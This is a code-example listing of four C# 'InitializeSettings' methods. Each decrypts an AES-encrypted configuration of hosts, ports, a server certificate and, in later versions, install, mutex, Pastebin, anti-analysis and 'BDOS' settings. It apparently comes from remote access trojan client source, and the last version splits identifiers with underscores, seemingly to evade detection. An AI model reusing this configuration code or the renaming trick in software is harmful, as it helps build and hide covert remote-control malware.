Example #1
0
        public static bool InitializeSettings()
        {
#if DEBUG
            return(true);
#endif
            try
            {
                Password = Encoding.UTF8.GetString(Convert.FromBase64String(Password));
                aes256   = new Aes256(Password);
                Ports    = aes256.Decrypt(Ports);
                Host     = aes256.Decrypt(Host);
                return(true);
            }
            catch { return(false); }
        }
Example #2
0
        public static bool InitializeSettings()
        {
#if DEBUG
            return(true);
#endif
            try
            {
                Key               = Encoding.UTF8.GetString(Convert.FromBase64String(Key));
                aes256            = new Aes256(Key);
                Ports             = aes256.Decrypt(Ports);
                Hosts             = aes256.Decrypt(Hosts);
                Serversignature   = aes256.Decrypt(Serversignature);
                ServerCertificate = new X509Certificate2(Convert.FromBase64String(aes256.Decrypt(Certificate)));
                return(VerifyHash());
            }
            catch { return(false); }
        }
Example #3
0
        public static bool InitializeSettings()
        {
#if DEBUG
            return(true);
#endif
            try
            {
                Key               = Encoding.UTF8.GetString(Convert.FromBase64String(Key));
                aes256            = new Aes256(Key);
                Ports             = aes256.Decrypt(Ports);
                Hosts             = aes256.Decrypt(Hosts);
                Version           = aes256.Decrypt(Version);
                Install           = aes256.Decrypt(Install);
                MTX               = aes256.Decrypt(MTX);
                Pastebin          = aes256.Decrypt(Pastebin);
                Anti              = aes256.Decrypt(Anti);
                BDOS              = aes256.Decrypt(BDOS);
                Serversignature   = aes256.Decrypt(Serversignature);
                ServerCertificate = new X509Certificate2(Convert.FromBase64String(aes256.Decrypt(Certificate)));
                return(VerifyHash());
            }
            catch { return(false); }
        }
Example #4
0
        public static bool InitializeSettings()
        {
#if DEBUG
            return(true);
#endif
            try
            {
                Key                = Encoding.UTF8.GetString(Convert.FromBase64String(Key));
                aes256             = new Aes256(Key);
                Por_ts             = aes256.Decrypt(Por_ts);
                Hos_ts             = aes256.Decrypt(Hos_ts);
                Ver_sion           = aes256.Decrypt(Ver_sion);
                In_stall           = aes256.Decrypt(In_stall);
                MTX                = aes256.Decrypt(MTX);
                Paste_bin          = aes256.Decrypt(Paste_bin);
                An_ti              = aes256.Decrypt(An_ti);
                Anti_Process       = aes256.Decrypt(Anti_Process);
                BD_OS              = aes256.Decrypt(BD_OS);
                Group              = aes256.Decrypt(Group);
                Hw_id              = HwidGen.HWID();
                Server_signa_ture  = aes256.Decrypt(Server_signa_ture);
                Server_Certificate = new X509Certificate2(Convert.FromBase64String(aes256.Decrypt(Certifi_cate)));
                return(VerifyHash());
            }
            catch { return(false); }
        }